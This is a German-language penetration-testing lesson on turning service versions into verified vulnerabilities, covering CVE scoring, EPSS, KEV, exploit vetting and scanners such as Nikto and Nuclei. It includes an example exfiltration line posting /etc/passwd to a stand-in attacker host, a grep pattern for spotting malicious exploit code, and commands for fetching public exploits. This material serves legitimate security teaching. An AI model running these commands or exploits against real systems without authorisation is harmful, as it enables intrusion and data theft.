Schwachstellenrecherche — Konzepte
Sie haben die Liste der Dienste und ihrer Versionen. Die Schwachstellen kennen Sie noch nicht. Diese Woche verwandeln wir eine Version in eine Ausnutzungsspur. Das ist das Scharnier des Pentests: ohne dieses Kapitel scannt man ewig weiter. Mit ihm schlägt man zu.
Jede Bestätigung einer Schwachstelle sendet etwas an das Ziel. Wir bleiben strikt im RoE. Bei öffentlichen Zielen gehen wir nicht über den minimalen Nachweis hinaus (die Datenbank nicht zum Vergnügen dumpen).
Was Sie nach dieser Lektion können
- Ein CVE-Datenblatt korrekt lesen und verstehen, warum der CVSS-Score allein lügt.
- EPSS und KEV nutzen, um über den CVSS hinaus zu priorisieren.
- NVD → Exploit-DB → GitHub → Twitter/Mastodon in der richtigen Reihenfolge durchgehen.
- Die Ergebnisse von Nikto und Nuclei interpretieren, ohne in falschen Positiven zu ertrinken.
- Von einer Hypothese („Apache 2.4.49 ist verwundbar") zu einem Beweis gelangen („auf dieser genauen URL habe ich
/etc/passwderhalten"). - Eine priorisierte Tabelle von Schwachstellen erstellen, bereit für die Ausnutzung.
1. Die Schwachstelle, das CVE, der POC, der Exploit
Vier Wörter. Ständig verwechselt. Prägen Sie sie sich ein für alle Mal ein.
| Wort | Was es ist |
|---|---|
| Schwachstelle | Die Schwäche selbst (ein Stück Code, eine Konfiguration). Eine technische Tatsache. |
| CVE | Eine eindeutige Kennung, die einer Schwachstelle zugewiesen wird (z. B. CVE-2021-41773). Nichts weiter. |
| POC (Proof of Concept) | Ein minimales Beispiel, das die Schwachstelle auslöst, oft nur wenige Zeilen. |
| Exploit | Ein fertiges Werkzeug, das die Schwachstelle für ein nutzbares Ergebnis einsetzt (Shell, RCE, Exfiltration). |
Ein CVE kann seit 5 Jahren ohne öffentlichen POC existieren — in diesem Fall weiß niemand wirklich, wie man es in der Praxis ausnutzt. Umgekehrt kann ein Exploit vor der offiziellen Zuweisung eines CVE im Umlauf sein (Zero-Day).
Für einen Pentester gilt: CVE + POC + Exploit = konkrete Spur. CVE allein = theoretische Spur.
2. Der CVSS-Score — die Falle der Werte ohne Kontext
CVSS (Common Vulnerability Scoring System) vergibt jeder Schwachstelle eine Zahl zwischen 0 und 10. Alle schauen darauf. Fast alle lesen ihn falsch.
Drei CVSS-Vektoren existieren nebeneinander:
- CVSS Base — die theoretische Note, ohne Berücksichtigung Ihrer Umgebung. Das ist es, was Google anzeigt.
- CVSS Temporal — angepasst danach, ob ein POC existiert, ob ein Patch verfügbar ist.
- CVSS Environmental — angepasst an Ihren Kontext: Ist der Dienst exponiert, verarbeitet er kritische Daten?
Ein CVSS Base von 9,8 auf einem internen, gefilterten, innerhalb von 2 Stunden gepatchten Dienst = CVSS Environmental von 4,2.
Ein CVSS Base von 6,5 auf einer dem Internet ausgesetzten Anwendung, seit 2 Jahren ungepatcht, mit einem trivialen öffentlichen Exploit = CVSS Environmental von 9,6 in der Praxis.
Klassifizieren Sie Ihre Funde nicht nach CVSS Base. Berechnen Sie ihn von Hand neu, mit dem Kontext des Kunden.
3. EPSS — die Wahrscheinlichkeit, dass sie wirklich ausgenutzt wird
EPSS (Exploit Prediction Scoring System): eine Wahrscheinlichkeit zwischen 0 und 1, dass die Schwachstelle in den nächsten 30 Tagen ausgenutzt wird. Berechnet aus realen Beobachtungen (Honeypots, Internet-Sonden).
| EPSS | Interpretation |
|---|---|
| < 0,01 | Vergessene Schwachstelle, kein Exploit im Umlauf. |
| 0,01 - 0,10 | Selten, aber möglich. |
| 0,10 - 0,50 | Moderat, Exploit verfügbar, gezieltes Vorgehen möglich. |
| > 0,50 | Hoch. Man sieht den Exploit in freier Wildbahn vorbeiziehen. |
| > 0,90 | Sie sollten bereits gepatcht haben. |
Offizielle Website: www.first.org/epss.
Der EPSS ergänzt den CVSS. Ein CVSS von 7,5 + EPSS von 0,9 ist dringlicher als ein CVSS von 9,8 + EPSS von 0,001.
4. KEV (CISA) — die absolute Dringlichkeit
Die CISA (US-Cybersicherheitsbehörde) pflegt den KEV (Known Exploited Vulnerabilities Catalog). Ein in KEV vorhandenes CVE bedeutet „aktiv in freier Wildbahn ausgenutzt".
Website: www.cisa.gov/known-exploited-vulnerabilities-catalog.
Für einen Pentester: Ein KEV-CVE bei Ihrem Kunden ist eine unmittelbare Priorität 1. Sie holen keine Genehmigung ein, sondern rufen den Kunden umgehend an, wenn Sie es während des Tests bestätigen.
5. Der Standardweg zur Qualifizierung eines CVE
Eine reproduzierbare Methode in 6 Schritten. Überspringen Sie keinen.
Schritt 1 — Die Version überprüfen
Der Scanner hat Apache 2.4.49 gemeldet. Das stimmt fast immer — außer bei Distributionen, die einen Patch zurückportieren, ohne die Versionsnummer zu ändern. Debian/Ubuntu fügen oft -ubuntuX hinzu: Apache/2.4.49-1ubuntu5.3 kann korrigiert sein, während ein vanilla Apache/2.4.49 es nicht ist.
Überprüfung:
# Bei internem Pentest, wenn Sie eine Shell haben: dpkg -l apache2 oder rpm -qi httpd
# Extern, in der Blackbox: den POC ausprobieren. Wenn er funktioniert, ist es bestätigt.
Schritt 2 — Die NVD abfragen
nvd.nist.gov — das offizielle Referenzverzeichnis. Jedes CVE hat dort ein Datenblatt mit CVSS, Beschreibung, Referenzen, betroffenen Produkten.
Schritt 3 — Nach einem POC oder Exploit suchen
In dieser Reihenfolge:
- Exploit-DB: die historische Datenbank. Suche nach Produkt / Version / CVE.
- GitHub-Suche: Die aktuellsten POCs erscheinen oft zuerst auf GitHub.
- Twitter / Mastodon (über Infosec-Forschende): Zero-Days und neue Techniken kursieren zuerst hier.
- Blogs von Forschungsteams: Rapid7, PortSwigger, Watchtowr, Assetnote. Oft eine Erklärung + detaillierter POC.
Unter Kali fragt searchsploit eine lokale, aktualisierte Kopie von Exploit-DB ab:
searchsploit "Apache 2.4.49"
searchsploit -m linux/webapps/50383.py # holt einen Exploit lokal ab
Schritt 4 — Den Exploit lesen, bevor man ihn ausführt
NIEMALS einen im Internet gefundenen Exploit ausführen, ohne ihn vorher zu lesen.
Zwei Gründe:
- Manche öffentlichen Exploits enthalten Backdoors, die auf Anfänger zielen. Ein in das Skript eingeschleustes
import requests; requests.post('http://evil.com', data=open('/etc/passwd').read())stiehlt Ihre eigenen Daten. - Ein Exploit kann zerstörerisch sein (formatieren, versehentlicher DoS). Dafür sind Sie nicht im RoE.
Prüfen Sie jeden Exploit mit grep -i "eval\|exec\|base64\|http\|curl\|nc ", bevor Sie ihn starten.
Schritt 5 — An das Ziel anpassen
Ein öffentlicher POC verwendet oft generische Pfade oder Parameter. Das Ziel kann seinen Endpunkt umbenannt, den Port geändert oder den Host-Header modifiziert haben. Passen Sie an, bevor Sie dem Exploit die Schuld geben.
Schritt 6 — Sauber reproduzieren
Drei Elemente mindestens in Ihren Nachweisen:
- Die gesendete Anfrage (
curl -v-Mitschnitt oder Burp-Rohanfrage). - Die beobachtete Antwort (aussagekräftiger Auszug).
- Ein Screenshot oder eine Ausgabedatei, die der Kunde überprüfen kann.
Ohne diese drei Elemente ist die Schwachstelle nicht festgestellt, sondern nur vermutet.
6. Nikto — der urzeitliche Web-Scanner
nikto befragt eine Webanwendung mit mehreren tausend Tests. Leistungsstark, geschwätzig, voller Falsch-Positive.
nikto -h https://ziel.com -Format txt -o rapports/nikto-ziel.txt
Was er gut kann:
- Erkennung vergessener Dateien (
.git/config,phpinfo.php,backup.tgz). - Erkennung von Versionsbannern.
- Erkennung gefährlicher Konfigurationen (gefährliche HTTP-Methoden, fehlende Header).
Was er schlecht kann:
- Wiederholte Falsch-Positive bei modernen Frameworks, die für alles
200 OKzurückgeben. - Laut — ein vollständiger
nikto-Lauf sind mehrere tausend Anfragen. - Folgt keinen anwendungsseitigen Weiterleitungen — verpasst Dinge.
Typische Nutzung: schneller Durchlauf, die echten Funde werden manuell gefiltert.
7. Nuclei — der moderne, templatebasierte Scanner
nuclei (von ProjectDiscovery) lädt YAML-Templates, die eine Schwachstelle und ihre Signatur beschreiben. Aktive Community, Tausende Templates.
# Templates vom Typ CVE und Exposure, hohe und kritische Schwere
nuclei -u https://ziel.com -tags cve,exposure -severity high,critical
# Gezielt auf ein bestimmtes CVE
nuclei -u https://ziel.com -t http/cves/2021/CVE-2021-41773.yaml
Stärken:
- Seltene Falsch-Positive (die Templates sind so geschrieben, dass sie präzise übereinstimmen).
- Schnell (Multithreading, HTTP/2).
- Fortlaufende Aktualisierung durch die Community.
Schwächen:
- Ersetzt keinen Pentest — findet nur, was er kennt.
- Kann ein Ziel überlasten, wenn Sie die Tags nicht filtern.
Gute Praxis: -tags cve,exposure bei der Entdeckung, dann gezielte Templates, sobald man eine Spur hat.
8. Die Anwendungs-Scanner (Übersicht)
An diesem Punkt ersetzen wir keinen Pentest durch einen Scanner. Aber wir wissen, was jeder beiträgt:
| Werkzeug | Bereich | Stärke |
|---|---|---|
| Nessus / OpenVAS | Netzwerk, VM, Hosts | Massiver Bestand, aktuelle CVE-Datenbanken. |
| Nikto | Web (generisch) | Vergessene Dateien, Banner. |
| Nuclei | Web (Templates) | Gezielte CVE-Erkennung. |
| Burp Suite (Scanner Pro) | Web (Anwendung) | Das Beste für OWASP-Top-10-Schwachstellen. |
| Trivy | Docker-Images, Abhängigkeiten | CVE in Packages. |
| kube-hunter | Kubernetes | Interne Cluster-Scans. |
Bei einem seriösen Pentest verwendet man mindestens zwei verschiedene Scanner und korreliert die Ergebnisse.
9. Die Priorisierung — keine flache Liste abliefern
Ein Bericht mit 200 unpriorisierten Zeilen ist unbrauchbar. Gruppieren Sie.
| Priorität | Kriterien |
|---|---|
| P1 — Kritisch | Ohne Authentifizierung ausnutzbar + öffentlich exponiert + KEV oder öffentlicher POC. |
| P2 — Hoch | Mit einem Standardkonto ausnutzbar + Zugriff auf sensible Daten. |
| P3 — Mittel | Nur unter seltenen Bedingungen ausnutzbar, begrenzte Auswirkung. |
| P4 — Niedrig / Konfiguration | Konfigurationsfehler, Hygiene, ohne Dringlichkeit zu beheben. |
Jede Zeile des Berichts trägt:
- Den Kurztitel.
- Die Priorität.
- Den CVSS Base und Ihren neu berechneten CVSS Environmental.
- Den EPSS, falls bekannt.
- Ob in KEV vorhanden (ja/nein).
- Den Nachweis (URL, Anfrage, Antwort).
- Die Empfehlung (Patch, Konfiguration, Abschwächung).
10. Die Fehler, die die Glaubwürdigkeit zerstören
- Bericht mit CVSS Base allein. Der Kunde sieht sofort, dass Sie nicht kontextualisiert haben.
- Copy-Paste des NVD-Datenblatts. Der Kunde kann NVD selbst lesen. Er bezahlt Sie für den Kontext.
- Schwachstelle ohne reproduzierbaren Nachweis. „Der Dienst ist anfällig für CVE-2021-XXXX" ohne Anfrage/Antwort — der CISO kann nichts damit anfangen.
- Falsch-Positive von Nikto im Bericht belassen. Ein einziges Falsch-Positiv untergräbt die Glaubwürdigkeit des gesamten Berichts.
- Priorität P1 im Übermaß. Wenn alles P1 ist, ist nichts mehr P1.
- Verkettbare Schwachstellen ignorieren. Zwei verkettbare P3 sind oft ein P1 wert. Melden Sie die Kette.
11. Was Sie sich merken sollten
- Schwachstelle, CVE, POC, Exploit: vier unterschiedliche Dinge.
- CVSS Base lügt ohne Kontext. CVSS Environmental und EPSS + KEV priorisieren gut.
- Von der Version zur Schwachstelle folgt 6 Schritten: Version → NVD → POC → Lesen des POC → Anpassung → Nachweis.
- Nikto und Nuclei ergänzen sich. Keines ersetzt den menschlichen Blick.
- Der Bericht ist priorisiert, nicht flach. Jede Zeile hat einen Nachweis und eine Empfehlung.
Nächste Lektion: Wir qualifizieren die Schwachstellen unserer beiden Metasploitable-Instanzen — und bringen zwei davon zu Fall, ohne Metasploit, per Hand.